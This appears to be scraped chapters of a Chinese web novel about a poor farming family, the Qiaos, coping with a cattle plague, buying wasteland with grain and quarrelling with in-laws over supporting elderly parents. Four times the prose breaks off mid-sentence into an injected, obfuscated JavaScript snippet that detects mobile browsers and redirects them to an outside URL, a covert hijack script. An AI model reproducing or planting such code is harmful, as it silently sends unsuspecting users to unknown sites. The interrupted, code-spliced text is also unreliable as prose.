“我犹豫着什么时候再回陆苑……我母亲一心布谋，而我只能辜负她的的好意了。”陆桓含糊却又极为认真地回答了乔小遇的疑问。 他低叹了声，下巴往碑文末处轻抬了抬，枯沉的眸色里轻漾起了一抹莫名笑意，道：“为我父亲刻写碑文的人名为程煜之，曾任朝州府从事，是我父亲的左膀右臂……如今升了通判。” “我母亲想让我与程家小姐定亲，以抓紧程煜之这枝老藤，将我父亲当年治水时所遇的阻隔查究清楚。她这般举动便似记账，我、程通判，以及盛家都仅是写下这账目的笔墨一点。” “之前你去盛家庄时，应当听了不少盛家人说道我母亲的碎语闲言吧？”陆桓的视线落在乔小遇身上，见她轻轻皱眉，启口沉音道：“原是我母亲出尔反尔，与舅舅家悔亲，事情才闹成那样的。” “悔亲？”乔小遇没想到两家竟还定过亲事，舌尖无端地一阵木涩。 陆桓点头，解释道：“自我父亲病疾缠身，退隐乡野后，家中开销有所缩减，舅家则多有扶持，于是我与盛家表妹便自然而然地定下了亲事……只一回，程通判前来探疾，我母亲得知了某些内情，转头便与盛家悔亲了。” “这件事盛家虽没有对外宣扬，可终究伤了两家和气。我父亲亦为此伤神不已，等到临安传来的消息入耳后，便先逝去了。至于之后陆盛两家所发生的种种，你是知道的。” 乔小遇抿了抿唇，脑海中直“嗡嗡”着。她确是不曾想到，陆母为了丈夫的清名竟会做到这般地步——不计后果的、强压的，甚至去干预儿子的亲事与仕途之择。 乔小遇能想象得到陆母所施加在陆桓身上的负重究竟有多沉，忧心地朝陆桓看去——但与她之前的设想一致，陆桓并不需要安慰。 因为她从陆桓那副定定然的神态中能够看出，关于陆母的所作所为、所期所盼，陆桓无奈之余，并非一味地沉默以应。 乔小遇凝声问道：“所以你去白麓书院，至少暂时避开了你母亲殷切的目光，是么？” 陆桓轻挑了下眉，淡笑以应，并道：“也可以这么说。便等我母亲渐按下急切的心思，她那本账才算得说是到了清算的时候。” “所以你就先晾着那程家小姐了？”乔小遇这话音一落，忙又愣愣地收回目光。 陆桓轻瞥了她一眼，眸底渐浮起一抹柔和的笑意。他往侧边的坟碑靠去，缓声道：“不然还能怎样？若程通判能辨是非、知进退，便不会任由我母亲以亲事作为拉近来两家关系的锚绳。” 陆桓说这话时，嗓音里带了种迷离感，到底醉意上涌了。 …… 夕阳下沉，宽阔的泥路上折映出两人一马的长长身影。 黑风再次见得清澈的河水，蹄步显然加快了许多，而脑袋紧巴甩着，便又是一副直恨不得冲进水里撒欢的架势……陆桓可不想随它掉进水中，只得勒紧了缰绳，翻身下马，接着轻拍过马腚。 乔冉安夫妻俩早听见马儿的嘶叫声，这会儿站在石坎高处，便瞧得女儿轻搀着陆桓朝院中走来的情形。 两人很是惊喜，待将陆桓迎回家里后，便急忙做饭招待——可惜陆桓却与前两次一般，不曾给乔冉安夫妻俩多添“麻烦”，月上枝头时便得了几分清醒。 他接着便要离开。 乔冉安夫妻俩挽留不得，而乔小遇径从自家火洞里刨出几个土豆包与陆桓后，便只道说了句“一路保重”的话。 这一次道别后，便不知何时才能重逢了。若有重逢之时，但请月光如水，马蹄下的尘灰不再升蔓至一片——人也来回莫匆忙。 隔日一大早，湾子里复又响起了锣鸣声。 傅娘子口头抛出一句“天爷，这是又闹的什么幺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924394|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛾子”的话后，便是心里再怎么不愿意，也只得与村民同去乔长田家里一趟。 但没想到，乔长田此番宣说的竟是一件好事：陆家人在秋祭结束后，所用的肉食果物将主动分发给乔家村的村民…… 其中用意再明显不过了，便为着挽回乔大闯家之前给陆氏所带去的糟污之名，以及劝防湾子里的农户不要因为陆氏开放山林便进入其中乱砍滥伐、胡作非为…… 左右有便宜可占，傅娘子的积极性是难见的再次提起，归家后与孩子们说起这消息时，乔小佩撒娇道说想同去看看热闹，她一口便允下了。 只乔小遇却不愿去，说自己要在后院里栽几棵树，遮一下地窖所在。傅娘子闻言直道女儿乖巧，而乔小遇的目光在轻掠过自家那只颜色灰暗的橱柜后，心绪却不自觉地恹恹起来。 橱柜里摆着陆桓昨日用过的祭品，而原本的盘具虽然已被陆桓带走，可她爹娘是看见了的。昨儿夜深，两人还未来得及细究便已睡下，可今日去过陆家坟场后，她爹娘当会有所联想。 果然，傅娘子回到家后，就同乔小遇打听起陆桓的背景来。 “我看过那盘具上的纹样，与陆家人秋祭时用的一模一样……”傅娘子一边帮女儿扶住果木枝，一边试探性地继续说道：“这桓哥儿也姓陆，他不会是陆家村里的人吧？” 乔小遇垒土的动作微微一顿，“或许吧，他不曾与我说过。” 傅娘子闷哼一声，接着眉开眼笑，道：“哪有这般凑巧的，他定是陆家村的人……” 听着傅娘子这般笃定的语气，乔小遇未置一词，只神色淡淡地提起木桶给树浇水。 “可这不对呀……若桓哥儿是陆家村的人，那么乔大闯对外打着陆氏的旗子，私占村里田地的事，桓哥儿是早知内情了的，但看护陆氏山林的事怎么就落到他乔长田身上去了呢？” 怎么就不能落到乔长田身上？可非得因着见过几面的缘故就非得把好处予你占尽？ 乔小遇无奈地抽动了下嘴角，淡声打断她娘发散的神思，“娘，您不用再扶着树了，我已经把泥巴都垒回去了。” 傅娘子干笑着松开手来，步子往侧边站开，方又接着问道：“小遇，若是桓哥儿下次再到湾子里来，你要不试着问问他？” “问他什么？”乔小遇淡淡抬眼，紧抑住心头的那丝不耐，凝声缓道：“即便陆桓当真是陆家村的人，可他不见得能在中间说上话啊……” “再说人已帮了咱家许多，至于以后……听说他去朝州府念书去了，想来难见一面，您就别再记着这事了。” 且见得傅娘子的神色渐淡下来，乔小遇微微垂下的面颊上却不由得轻泛起一抹明媚的笑容。 地里的荞麦几已长齐至腰深处，而叶片由绿转黄，近根处的甚至已经掉落，使得麦秆下部成为光滑的一截。 仿佛眨了下眼，便到了割荞麦的季节…… 66. 荞麦面糠 乔小遇一家又开始忙碌起来。 这天，乔小遇听得她娘的话去楼上背荞麦晒，却正巧碰到乔冉安将那荞麦往布袋子里撮…… “爹，您这是做什么？这荞麦不过是背去后院里晒，用篮子装就成啊。”乔小遇疑问出声，而步伐不自觉地放缓放低。 乔冉安似是被这道声音给吓到了，紧忙捂住心口，只待折身过来，瞧得来人面孔，便忙又故作出一副严肃模样，道：“用什么背都成，你管这些做什么……” 他微涩的话音终究带了几分虚意，而目光则紧盯着木瓢里的荞麦，不曾对乔小遇投来一个瞪眼。 “您这是要给奶奶家里送荞麦么？”乔小遇低叹出声，而周身仿佛流失了大半的力气般，只得将后背轻倚在黑黢黢的板壁上。 且瞥得乔冉安手中的木瓢一个紧握不稳，不妨将许多荞麦粒撒在楼板上的情形，乔小遇便知自己猜对了。 她早应该意识到的，现下所见并不能用“匪夷所思”四个字来形容。 傅娘子正因为了解乔冉安，所以才做出私携钥匙这般令人发笑的举动吧……而今来看，傅娘子的防备确是有理的。 家里的地窖被锁，乔冉安又拿不到钥匙，所以乔冉安才会把主意打到这还未晒干的荞麦上来。左右袋子一装，偷溜出院门去，傅娘子也难以觉察到什么。 “你个小孩子能知道什么？”乔冉安嘴犟了这么一句，待他转过头来，迎上女儿那双淡漠的眸子，紧绷的肩膀终是耷软下来。 “小遇，这事儿你可不能在你娘跟前告我黑状啊！”乔冉安的嗓音里不自觉地带了一种恳求的语气，接着叹说道：“我看你奶奶家里确实是米粮跟不上了，这才三天两头地来咱家里闹的……” “你娘不怕邻居们笑话，不介意旁人对咱家指指点点，可爹……爹也不是说好面子，但倘若我送些荞麦过去，也省得你奶奶来扰人清静不是？” 乔冉安忍不住轻轻搓着他那两只合实起来的手掌，并朝乔小遇投来“慈祥”的目光。 “可是咱们不是早就说好了的么？”乔小遇淡淡的眸光逆着那道投射在乔冉安的日光回看上去…… 在那道自瓦缝口渗下的光束中，无数金色的灰尘正自由地飘飞着——肉眼可见，而乔冉安面上的神色亦是如此。 “你要告诉你娘？”乔冉安心下是既慌又怒，他来回踱过几步，见女儿依旧无动于衷，索性蹲下身来，双手抱头低泣道：“你奶奶是白养我这个儿子了……” 乔小遇见状连连皱眉，随即缓声说道：“我和娘便从来没有拦着不让您尽孝心的意思。您便再等等不成么？” “再等等，可等到什么时候？非得等到人过上顿顿喝粥的日子？”乔冉安瘪了瘪嘴，接着道：“小遇，这事你便当做没瞧见不成么？” 乔小遇顺脚轻踢开自个儿的篮子，“您要实在听不进我的话，我直接去告诉娘，由她来跟您磨嘴皮子，这事儿或能说通些。” “别……你别……”乔冉安连忙摆手，接着偏侧过下巴，沉叹出一口气来。 他终究是断了这心思，而之后便是瞧得亲娘阿兄上门苦说歹劝，他也只畏缩在自家偏屋里，由得傅娘子白脸唱尽、软硬不吃。 乔冉安自觉夹在中间，备受煎熬……好的是，等湾子里的农户将荞麦碾好装柜，他心头挂念的事也迎来了转变的时机。 说来，如今整个湾子里便只剩得七八头猪和两头老牛了，这情状实令人忧心忡忡。乔长田几番说动，才劝得两户主人家把牛拉出来供村里人借用…… 而老牛难得歇息，整日里便都围着村头的那口石磨打转，碾完荞麦碾玉米……主人家虽然心疼，却知这已经是没有办法的办法。各家糊口已难，他们怎还好意思说让村民们给老牛添些好的草料呢？便都不过是些玉米草秆罢了。 可乔冉安家却不同。 那日他家借牛碾玉米，傅娘子端来的草料里竟掺了些苜蓿糠、荞麦杆糠和玉米粗皮，可有满大盆哩！老牛吃了肯使力气，仅一个上午的工夫，便将乔小遇所背来的两袋多的玉米给碾好了。 排在他家后头用石磨的乔长田夫妻俩若有所思，口上虽说傅娘子家会做打算，然心下存了疑问，探向乔小遇的视线也变得莫名起来。 “今儿这年是难过了，尤其等到春耕时，难道整村的田地都倚着这两头老牛去排种么？”一个坐在大槐树底下做针线的村妇且瞥得老牛身上那些凸出的骨头，不禁沉问道。 乔长田皱了皱眉，“两头牛怎么都是不够使的。只怕耽误春种，我知道村里有些人家寻思着买牛，可淮水一带都没个好景，若去外地……且看看官府的政令再说吧。” 听得乔长田话音里的沉顿，乔小遇手头拿着芦苇扫帚轻轻扫面的动作不禁一滞，接着轻抬起眼来。 她便这般触到了乔宝树他娘那道沉凝的目光。 刘菜粉对她无奈地笑了笑，低声说道：“你长田叔也是没想到这次牛疫竟会让村里遭受那么大的损失……” “最初听闻药草不足的消息时，村里人各自都做了退步，道说先紧着去救治那些染病不重的猪牛……你长田叔何尝不为难？可咱们能有什么办法呢？” “教人无奈的事情还在后头。官爷们撂挑子便不提了，大家紧念着治疫的药材竟还直接断缺了去。听魏医官说，运送关键药材的船只翻沉在淮水里了！可见天灾重重，便不论大家伙究竟使了多少气力，也终究事与愿违。” 刘菜粉一边帮着乔小遇装面，一边瞥眼朝那头暂于树下歇息的老牛看去。 老牛也是一身黄毛，可尾巴被主人家剪短了好一截——不论怎么看，都不如自家先前的那头大黄牛威武…… 刘菜粉心头难抑苦涩。她抿了抿唇，轻唤过乔小遇与她挣着袋子口，接着问说道：“小遇，你爹娘对买牛的事可有所打算？” “婶子的意思是？”乔小遇眸光微抬，轻问道。 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924395|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜粉呵笑了笑，倒也并不拐弯抹角了，口中直说道：“你家从前一直都是借婶子家的牛使的，而今婶子家的大黄牛病死了，你爹娘是否寻思过春耕时使牛的事呢？是否要继续和婶子家共使一头？” “菜粉婶子是想让我家里也出部分买牛的钱？”乔小遇眨了下眼，很快便明白过来刘菜粉的意思，笑说道：“这事我回头问问我爹娘的意思，想来他们是愿意的，只是……” “只是什么？”刘菜粉倒没想到乔小遇的话音竟会这般笃然，眉间神色一时轻凝。 乔小遇温和地笑应道：“只是那牛，平日里怕还需婶子家里照看着。我家没有多余的牛圈……” “这都不是事儿，你家不用担心这些。”刘菜粉爽朗一笑，轻将乔小遇的话给接了过去。 乔冉安家里的情形她怎么会不清楚呢？除了关于牛圈的顾虑，乔冉安家里没什么劳力，实已抽不出多少空闲时间养牛……这家人愿意在买牛时凑些钱出来，便已算得不错了。 “那回家后，你与你娘提说下这事？若她愿意，咱两家就这么先说定了？” 乔小遇笑着点头应下，“成的。” 刘菜粉的心绪可算得舒缓了些，而待乔小遇的态度一如初时。便连乔宝树背玉米过来碾时，刘菜粉还转头使了儿子上前帮忙…… 乔宝树错愕不已，而乔小遇亦忙着摆手拒绝，“婶子不用了，我再来背一趟也是一样的。” “你这是跟婶子客气，还是与你宝树哥客气呢？”刘菜粉面上漾着笑意，可心头却十分尴尬…… 敢情这两个孩子都已觉察到了自己曾经的那些“小心思”，所以处处紧避着。 乔小遇到底没有拒绝她菜粉婶子的好意——在她确定刘菜粉确出于一片真心后。 而乔宝树在避过他娘的脸后，神情直转为欣喜异常。他一路背着一袋多的米面却也不觉得如何重，只有一搭没一搭地寻了新鲜事来与乔小遇说。 石磨所在那处。 牵牛推磨的乔长田且待那做针线的妇人也离开后，才悄语问自家媳妇道：“你方才与小遇提说出钱买牛的事怎么能这么直接呢？” 刘菜粉似笑非笑地转过眼来，“小姑娘心思通透着呢，我还怎么委婉？” “我是觉着咱家先前放弃治牛，冉安哥他们心里指不定多生出什么想法来，而今咱们打算买牛，却还想着让他家出部分钱，我心里有些过意不去。” “这有什么好过意不去的？先前咱家虽然常常借牛给他家使，可那牛是咱家的啊，他家能有什么想法？”刘菜粉摊了摊手，“你这四处都想要顾及到村里人的想法，可累不累？” “话是这个理，可冉安哥家里的情形你又不是不了解。你让他家出钱，却没有明说他家出多少合适。出一半么？他家大抵是拿不出来的。” 乔长田皱了皱眉，接着说道：“且瞧着以冉安哥那般好面子的性格，又怎愿意上门与咱们提说能否少出一些的话？” 67. 米粮荒地 “冉安哥又做不了他家里的主，便是上门来商说，那也是嫂子来。你知晓家里的难处，我也明白你想要拉冉安哥家一把的心意，但有的事谁都说不准的。”刘菜粉低叹了声。 “我没有明说他家该出多少，不还是为了顾及他家的面子，让两家人有个商量的余地不是？”刘菜粉的目光转而凝落在脚边的那个牛料盆里，展眉道：“到底他家比旁人多出了几头猪仔，保不准这半数的钱他家是出得起的。” “呵，也是，任凭谁家如今手上有两三百个铜钱，那也是富户了。”乔长田轻扯了扯嘴角，随即把牵牛绳往手里又绕了一圈，紧拉了老牛继续推磨。 且听着石磨盘那“咯吱咯吱”的声响来回往复，刘菜粉的神色渐变得烦躁起来，仿佛许多事竟都与这石磨声一般，终究是难得结束了。 她跟着提议道：“村里人的日子已越来越难了……要不趁着村里有些人家手上还有余粮，咱把乔大闯家先前私占的那几块荒地拿出来卖了？且提说不能使用银钱，需得拿了米粮来兑……你说怎么样？” 乔长田闻言凝眉不语，只垂头紧牵着牛，绕着那石磨转了两圈后，方才停步点头。 …… 不得不说，用米粮换地的主意一出，湾子里的农户可谓是几家欢喜几家愁。 如今粮价爆涨，能多揣着几个铜板的“富户”们本就觉着布兜无端减轻了许多，而若是让他们出粮，各家亦是踌躇——尤其在隔壁泗淮县上有流民作乱的消息传来后。 谁知道之后的粮价会翻涨到什么地步？自家里便守着秋日里收起来的那点可怜的稻米、玉米和荞麦，也知日子难捱，这时候哪还有多余的米粮拿出来换地呢？ 这日，乔长田家的院子里，整个村里的农户几乎都来了…… 男人们咂吧着烟斗，女人们哄劝着哭闹出声的小孩，却迟迟未见人出头。 日光渐烈，可村民们却仿佛不曾觉察到后背处所所传传来的那种灼烫感般，只私下里低声议论着，目光来回流转。 何家人也到场了，到底是湾子里的一件大事，他们没理由不来。只几家人没好得太过张扬，都寻了边角处站。 “咱们要不试着买下这处地皮？我记着乔大闯家种这荒地时，可没少精心打理。” 何家的一个妇人方提说此事，但紧跟着便被她男人开口给打断了去，“就你稀罕？丁小娘子可比谁都想把那几块地买下来，可你觉着她敢开这口么？” 妇人只得轻轻咋舌，讪讪压下当中想法。 乔小遇亦将眸光转向丁小娘子的方向，且瞥得乔丫丫紧拽丁小娘子的衣袖口低言央求，丁小娘子却一脸为难的情形，不禁唏嘘低叹：“即便她家仅说买上一块，村里人都很有可能对人冷嘲热讽吧。” 场间叽叽咕咕地讨论半晌，终有人发声说愿意用家里的秋粮来换地，但手头空紧，便也只能先买一块作数。 乔长田几不可见地长舒了口气，继续向在场的农户问说还有哪家愿意出粮买这片地的。 人群中渐又响起几道应语——尽管当中存了几分迟疑的意味，但这事似真的有了几分要成的意思。 周遭复又想起喧哗之声。乔长田微微皱眉，“买地的还觉着有商量的余地，买不起的却想着能多卖些是一些，这可真是一件头疼事。” 傅娘子在这时淡声启口，“这几块荒地，我家全都买了。” “全部？”乔长田一脸的不可置信，接着补充了句，“四嫂，此番买地，咱们是需要用米粮换的。” “我知道。”傅娘子微微颔首，沉静的眸光轻从乔冉安脸上跃过，接着定声说道：“明儿一早我就把米粮搬到您家来，由您来跟大家伙分粮。” 乔小遇她娘这话音方落，人群中陆续传来类似于“他家怎么能拿得出这么多粮”的揣测之言，便连乔长田也忍不住出声再三确认：“四哥四嫂的意思是，这十多袋的粮你们能一口气拿出？” “这是自然，话都说出口了，难道我们仅是图大家一个乐呵的么？”接过这话头的乔冉安不自觉地翘了下唇角，而他不耐的神情落入旁人眼中却怎么都成了得意。 乔小遇闻言不由得轻轻扶额，但想拉着妹妹往后退步，隐在人群后头才好。 傅娘子则朝乔冉安斜睨了眼，另道：“不瞒大家伙，为着能往村里买几块地种，我家早之前便开始尽力存粮了。大家伙也当知道的，一直以来我家就靠着几块高埂坡地过活，日子过得艰难……我与小遇她爹可不得从别处寻思么？” 傅娘子小心避开自家是怎么屯下粮食的话题，嗓音转为沉哑，接着说道：“而今能碰到这几块荒地却是再合适不过了，有里正和乡亲们眼看着，日后也不会发生扯皮的情况。” 人声窃窃，目光均不由得往乔大娘的方向探去…… 乔大娘等人直觉着面皮滚烫，这“扯皮”二字便怎么听都不顺耳，可他们也不好因此而嚷嚷寻事——到底乔小遇她娘这话并未特指不是？ “既然四嫂家能出得起这粮，那这地皮我家便不跟着争了。嘿嘿，开春时我媳妇便会给家里添个大胖小子，我还是收着点紧的好。” 出声的汉子便是最先出声提说愿买一块荒地的人。他曾是个猎户，在陆家山林允许外人进入后重操旧业，存下些粮食是应当的…… 而见其放弃，另几家心存犹豫的人多也跟着收了心，便有一家单就最低处的那块地存了相争之意，却也被乔小遇家多添一袋米粮的话给阻拦了去。 没有意外的，乔小遇一家终于得偿所愿。 乔长田夫妻俩当时便存了疑……须知乔小遇家这一甩话可不仅包括买地的粮，还有年后买牛的银钱，四头猪仔全打全算，怎么也不可能补上这么大的缺口。 一宿里，夫妻俩翻来覆去却始终没搞明白这件事。他们想要开口问说，却始终觉着有些难为情。 可村里旁的农户是没有这顾忌了。或是好奇，或是眼馋，终究有人想沿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924396|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那道微微开隙的屋门口朝里看…… 人许是将之前的腌猪肉卖了？可这到底还是差了几分意思。虽然肉食之价自牛疫过去后便一路疯涨，可米粮也没好到哪里去啊…… 乔刘氏自觉与乔小遇家的关系拉近了些，私下里问过傅娘子哪里来的门道，但与预期中的一般：傅娘子没有对她同旁人那般打哈哈，却也面露难色，似是不好明说。 “哎哟，我的好嫂子，这你有什么好瞒我的？”乔刘氏呵笑着拐了下傅娘子的胳膊，而眼睛微眯着，心想这当中果然有些内情。 傅娘子只好对女儿投来求救的目光…… 其实说与不说，在傅娘子看来都没什么所谓，如今她甚至已经不是很在意村里人的看法了。唯一担心的，便是小遇她大伯家那条鱼还未上钩，旁人却反而趋顾着上来咬钩…… 帮了张三家却不帮李四家，这便会无端多出些纷扰事。最好是把乔冉宏家的地换过来后，自家便还是老老实实地装个穷人吧…… 而关于目前揣测颇多的局面，傅娘子既知难以避开，却也觉着解释起来过于费劲，难以把握其中分寸。 于是这个关于“分寸”的包袱便再一次地落到了乔小遇肩上。 “二婶，我娘这并非刻意说是要瞒着乡亲们，只担心有些多事的人得知内情后，尽给我爹娘抹黑，什么丧良心的话都能说得出来。” 乔小遇安慰性地对她娘轻点了点头，而话中语气却仿佛春日里的满树桃花横遭冰凌突袭，没来及将颜色褪去，便已掉入泥埃里一般…… 乔刘氏十分惊疑地问道：“怎么会够得上丧良心这样的话呢？” “怎么不会呢？” 乔小遇唇角扯出一丝苦笑，接着轻吸了口气，叹道：“这般同您说吧。此番用来换地的粮，原是我爹娘带着我去野山林里逮兔子野鸡什么的换来的……” “什么？去野山林？” 乔刘氏闻言一阵错愕，不可置信的眸光定定地停落在傅娘子的脸上，颤声说道：“嫂子，你们这……这都怎么想的？野山林里多的是豺狼虎豹，几年没人去过了，这要是有个什么好歹，你说这……你和四哥都干的什么事啊！” “可不就有了个好歹么！”傅娘子抿了抿唇，自责地道：“之前小遇把腿拉伤那次，便是我们最后一次进野山林……” “她的伤自然不是普通的跌跤，而是遇上了花豹子……”傅娘子回想起当日发生在野山林里的种种，面上复又浮起一抹惊惧之色，话音也戛然顿住。 她圈手搂过女儿的腰，将头偏侧过去一阵紧埋……终究是泣不成声了。 乔刘氏连忙轻轻拍过傅娘子的背，心头没来由地一阵紧涩，且听乔小遇沉吟道：“村里人到现在都还拿着何小知的事情刺说我爹娘丧尽天良，尽管他们知晓我爹娘那时是迫不得己。” “如今也一样，若我在野山林中遇险，差些被花豹子给吃了的事传出去，只怕村里人会刺说得愈发厉害。” 68. 鱼儿咬钩 闻言，乔刘氏噤声半晌…… 即便乔小遇方才所说及的并非她家里所有的顾虑，但也应当算是主要的。别看流经村里的河水如何清澈，吃水的人却不见得都养成了一副好心肠，她自个儿不也曾在背地里刺说旁人么？ 乔刘氏轻轻皱眉，沉声道：“这人的嘴巴啊，便同那水一般难堵。你们心下存了这样的顾忌，也是可以理解的。但人得了利，怎还好那般没脸没皮地在背后说道你和四哥？” “我是听不得这种话的，便怎么都要冲上前去撕烂人的嘴！”乔刘氏的话音显得有些愤愤然，她接着轻抚过傅娘子的脊背，让傅娘子请轻顺过几口气来。 到底这分寸的包袱是由乔小遇接下来了。 至于那片荒地，乔小遇她爹娘很快便去丈量过，并随乔长田去县里领了地契回来。 那无疑是令人记忆深刻的一夜。 一家人围坐在灶火旁，且听傅娘子一遍又一遍的念过地契上的墨字，眼眶均不由得湿润起来…… 薄薄的一张纸，似乎因着那墨字与红印的存在而变得沉甸甸的。乔小遇姊妹几个接过这地契去看时，动作小心翼翼，只怕一个不小心就会让它掉落在地，沾上泥灰。 “咱家终于能有几块好种的地了！”傅娘子的眼底映着灶炉里的簇簇火苗，光亮而热烈，与平日里的浑黄枯寂绝然不同。 乔冉安则呵呵直笑着，而旁人不曾觉察到他那双拢在袖口里的手是紧缠在一处的。 “难得媳妇儿高兴成这样，只之后小遇她奶奶与大伯他们来商说赡养之事时，媳妇儿怕是会无端地遭受一番冤枉气。”乔冉安心下忍不住这般暗叹。 照傅娘子原先与他再三叮嘱过的，乔冉安在接下来的商说中便只扮成一个哑巴就好……这既让乔冉安觉着伤面子，也让他有些担心。 乔小遇捕捉到了她爹的这种异常的情绪，提前在旁敲声说道：“这是咱们的家务事，叔伯他们若想借口抵赖，我娘一张嘴说不过时，横搭一条腿不让人越界，到底有伤和气……” “但赡养文书上白纸黑字地写着，由长田叔来唱这红脸，我娘唱白脸，这事儿应当会稳妥些。” 乔冉安听言，心下微松，他没想到女儿竟也把傅娘子的性子给琢磨了个透——如今傅娘子待乔长田一家的态度，已完全可以用“无措”二字来形容，遑提说主动去请乔长田来给自家做主？ 自之前乔小遇与傅娘子转告说，乔长田家存意让家里出部分买牛的钱后，傅娘子便开始无端地生出了许多揣测： 或如乔长田家缺钱了才打了这副好算盘，或如刘菜粉话说好听，不用自家负责喂牛，但没准人转头便把牛卖了却不与自家说一声…… 终归免不了许多气话，而傅娘子纠结的地方在于是否要顺势下坡，与乔长田家重新修复关系。 但乔冉安却不觉得这有什么好纠结的，他不似傅娘子那般对乔长田家存了结亲的心思，也从未想过在乔长田当上里正之后，自家待人的态度需要有所改变，所以他私下里去给乔长田打了招呼。 鱼儿咬钩这日。 乔冉安安安心心地扮上了哑巴，悄自从偏屋那道新开的后门里溜了出去，而傅娘子心里则有个声音反复地提醒自己：“待会儿可得稳住情绪，别把事情搞砸了！” 她知道自己极易情绪化，尤其在面对乔冉安那一大家子的吸血蚂蟥时！ 与预想中的一般，蚂蟥刚爬附到她的脚上，便不是说先吮一小口的血就算完事的。 “冉安他媳妇儿，这都过了多久了，你家竟都都不送米粮来的？便想眼睁睁地看着我们两把老骨头被熬干是么？”乔大娘的话音带了几分责问的意思，且一张口便是一副默认上次所商说的赡养之事已经奏效了的模样。 傅娘子强抑了反驳的冲动，斜睨过去，接着上下打量了乔小遇她这爷爷奶奶两眼，好似在说：“您二老不还好端端地坐在这里么？哪有饿死……” 但实际上傅娘子并未做任何表态。 乔大娘的话音里渐又多了几分咄咄逼人的架势，道：“这前俩月里是你大哥二哥家出的粮，我们都点过了，一分不少、一斗不差……可你家没半点动静，竟也没个说法的？” 傅娘子自鼻腔里轻吸了口气，含笑道：“那这不还有三哥家排在我家前头不是？等他家送柴米过去时，您给告我们一声，我与小遇她爹一同过去帮您数看数看。” “呵，弟妹这话怎么这么不顺耳，难不成我们会缺斤少两的？这都是我们做儿女应尽的孝道，你家若想赖着不给……成，你让我四弟出来明说句话，他到底还养不养老爹老娘了？” 乔冉宏稍稍侧头，避开过傅娘子的视线，而手指则直接指向乔小遇的方向，一边抬起下巴嚷嚷道：“小遇，你爹呢？去叫你爹来，我倒是要问问他，之前答允说赡养你爷爷奶奶的事还作不作数了……” 乔小遇自是一动未动，沉静的面上竟是半丝波澜也不曾起。 傅娘子与女儿相视一眼，接着面上尽量挤出一抹平和的笑意，对乔大娘说道：“我倒不是那意思。只是计数称物的事，儿媳当比旁人更擅长些，您可以放心交予我来过目。” “呵，没想这么多年了，四弟妹这优越感都还不曾磨尽！”乔小遇她大伯母冷声一笑，上身忽朝前一倾，教自己与傅娘子的距离拉近了些，龇嘴道：“可惜了，你爹把你教得这样有本事，不早躺进棺材里去了么！” 傅娘子的眸色倏然沉黯下来，牙根处一阵紧咬，立时便奔去门后提了棕叶扫把！ 这事情还未说定，便要开始动手了？ “你不会说话，可能闭嘴么？”乔冉宏转头怒瞪了眼自家媳妇儿，而回头时且见傅娘子已经拾起扫帚，忙站到媳妇儿和爹娘身前挡着……谁不知道傅娘子发起疯来时，简直是没个人样的？ 但此番傅娘子的动作却是顿住了——便当乔长田半只脚伸进家门槛时。 乔小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924397|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇长舒出了口气，而迎上傅娘子那副目瞪口呆的神情时，她不禁对她娘挤了挤笑脸。 “可见乔长田并不是偶然路过……”傅娘子蹙了蹙眉，心下很快便明白过来。 不得不说，场间有了乔长田在，赡养之责转至换地之事的过程显得自然了许多。乔长田深知几家矛盾，并未试着劝说两边人，他只是以一种极为平淡的语调和客观的视角提说起往事。 如分家时各得了几亩田地，哥几家谁家另分得了竹林、水田，再如赡养文书中列下条陈的前情…… 乔小遇便在旁瞧着她爷爷奶奶和几个叔伯那逐渐低埋下去的脑袋，心中滋味实属复杂。她娘是没法做到原谅的，但抬头不见低头见，所求不过相安无事就好…… 至后半段，那以高坡地换屋后平地的条件终于被乔小遇她娘抛了出来。 “这事我家还得再想想……”乔冉宏挠了挠后脑勺，口中低应了那么一句。 乔冉临等人闻言，下意识便朝乔冉宏夫妻俩投去不解的目光，而乔大娘则哭声丢下一句“连你也不管我们两个老骨头的死活了”的话后，便摔门离去。 